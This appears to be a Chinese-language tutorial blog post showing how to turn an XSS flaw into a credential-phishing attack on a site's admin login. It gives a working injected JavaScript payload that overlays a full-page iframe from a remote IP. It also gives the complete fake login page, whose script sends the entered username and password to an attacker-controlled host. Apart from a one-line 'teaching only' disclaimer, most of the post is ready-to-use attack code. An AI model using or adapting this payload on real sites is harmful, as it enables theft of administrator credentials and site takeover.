自己写一个和原网站后台登录地址一模一样的钓鱼页面 
JS加载一个iframe 100%覆盖原网页 提示登录超时重新登录 因为是iframe加载 url地址不变 钓鱼成功后 再跳转回/admin/index.php 因为目标session没过期 所以可以极大程度的模拟正常的登录成功操作。

注入如下代码:

 setTimeout(function(){
parent.document.writeln("<iframe style=\"margin:0px;padding:0px;height:100%;width:100%;\" src=\"http://59.65.232.237/diaoyu.html\" frameBorder=0 scrolling=no></iframe>");
setTimeout(function(){
document.getElementsByTagName("body")[0].setAttribute("style","margin:0px;");},100);
setTimeout(function(){
parent.document.getElementsByTagName("body")[0].setAttribute("style","margin:0px;");},100);
},1000);

在服务器上构造diaoyu.html的网页。代码如下:

 <html>
<head>
<meta charset="utf-8">
<title>Xss平台-免费xss测试平台,xss源码,xss代码</title>
<meta name="keywords" content="XSS攻击,XSS平台,XSS跨站,XSS代码,XSS教程,XSS平台邀请码,免费xss平台,xss测试平台,跨站平台,跨站攻击" />
<meta name="description" content="XSS攻击,XSS平台,XSS跨站,XSS代码,XSS教程,XSS平台邀请码,免费xss平台,xss测试平台,跨站平台,跨站攻击" />
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="http://xss.fbisb.com/themes/default/css/bootstrap.min.css">
<link rel="stylesheet" href="http://xss.fbisb.com/themes/default/css/bootstrap-theme.min.css">
<link rel="stylesheet" href="http://xss.fbisb.com/themes/default/css/css.css">
<script src="http://code.jquery.com/jquery-1.9.1.min.js"></script>
<script src="http://www.bootstrapcdn.com/bootstrap/2.3.1/js/bootstrap.min.js"></script> <script>
function Login(){
if($("#user").val()==""){
ShowError("用户名不能为空");
return false;
}
if($("#pwd").val()==""){
ShowError("密码不能为空");
return false;
}
}
function ShowError(content){
$("#contentShow").attr("class","error");
$("#contentShow").html(content);
}
</script> </head>
<body>
<div class="navbar navbar-fixed-top navbar-inverse">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="http://xss.fbisb.com/xss.php">Xss平台</a>
</div>
<div class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li class="active"><a href="http://xss.fbisb.com/xss.php">主页</a></li> <li><a href="http://www.fbisb.com/">论坛</a></li>
<li><a href="http://sgk.fbisb.com/">社工库(已删裤)</a></li>
<li><a href="http://wooyun.fbisb.com/" class="menuToggle">wooyun漏洞平台</a></li>
<li><a href="http://ip.fbisb.com/">ip定位</a></li> </ul>
<ul class="nav navbar-nav navbar-right ng-scope" ng-controller="user_ctrl" id="header_me">
<li>
<a class="mr_15" wt-tracker="Header|Menu|Goto Signin" href="http://xss.fbisb.com/xss.php?do=login">登录</a>
<iframe id="tmp_downloadhelper_iframe" style="display: none;"></iframe></li>
<li>
<a href="http://xss.fbisb.com/xss.php?do=register" wt-tracker="Header|Menu|Goto Apply">注册(无需邀请码)</a>
</li> </ul>
</div><!--/.nav-collapse -->
<iframe id="tmp_downloadhelper_iframe" style="display: none;"></iframe></div>
</div>
<div class="container">
<form class="form-signin" action="http://xss.fbisb.com/xss.php?do=login&act=submit" method="post" onsubmit="return Login()">
<div class="panel panel-default">
<div class="panel-heading">登陆 (已开启伪静态 邮箱提醒 ^_^ )</div>
<div class="panel-body">
<div class="form-group">
<div class="input-group">
<span class="input-group-addon">
<i class="glyphicon glyphicon-user"></i>
</span>
<input class="form-control ng-pristine ng-invalid ng-invalid-required valid" type="text" placeholder="输入用户名/邮箱" name="user" id="user">
<iframe id="tmp_downloadhelper_iframe" style="display: none;"></iframe></div>
</div>
<div class="form-group">
<div class="input-group">
<span class="input-group-addon fs_17"><i class="glyphicon glyphicon-lock"></i><iframe id="tmp_downloadhelper_iframe" style="display: none;"></iframe></span>
<input class="form-control ng-pristine ng-invalid ng-invalid-required valid" type="password" placeholder="输入密码" name="pwd" id="pwd">
</div>
</div>
<button class="btn btn-lg btn-primary btn-block" type="submit">登陆</button>
</div>
</div>
</form>
</div>
</br><center>声明:仅用于攻防演练及教学测试用途,禁止非法使用!</center> <center>
<script type="text/javascript">
/*创建于 2018/1/28*/
var cpro_id = "u3196815";
</script>
<script type="text/javascript" src="//cpro.baidustatic.com/cpro/ui/c.js"></script>
</center>
<script type="text/javascript">
function DataSend(user,pass)
{
var url="http://xss平台地址";
var xmlhttp1=new XMLHttpRequest();
xmlhttp1.open("POST",url,true);
xmlhttp1.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlhttp1.send("username="+user+"&password="+pass);
}
document.forms[0].onsubmit=function(){
var username=document.getElementById('user').value;
var password=document.getElementById('pwd').value;
alert(username);
alert(password);
new Image().src="http://xssplat/?username="+username+" &password="+password; //这里将获得表单的username,password。发送到平台上
}
</script>
</body>
</html>

演示如下:

在有xss的地方注入iframe代码(方便演示直接在控制台输入代码):

xss实现钓鱼操作-LMLPHP

实际上url没变化但是页面已经加载我们构造的登陆代码。

当我们输入用户名密码时,就将username,password发送到服务器上。(这里测试将用户名输出)

xss实现钓鱼操作-LMLPHP

参考文章:http://www.freebuf.com/articles/web/74324.html

05-11 20:43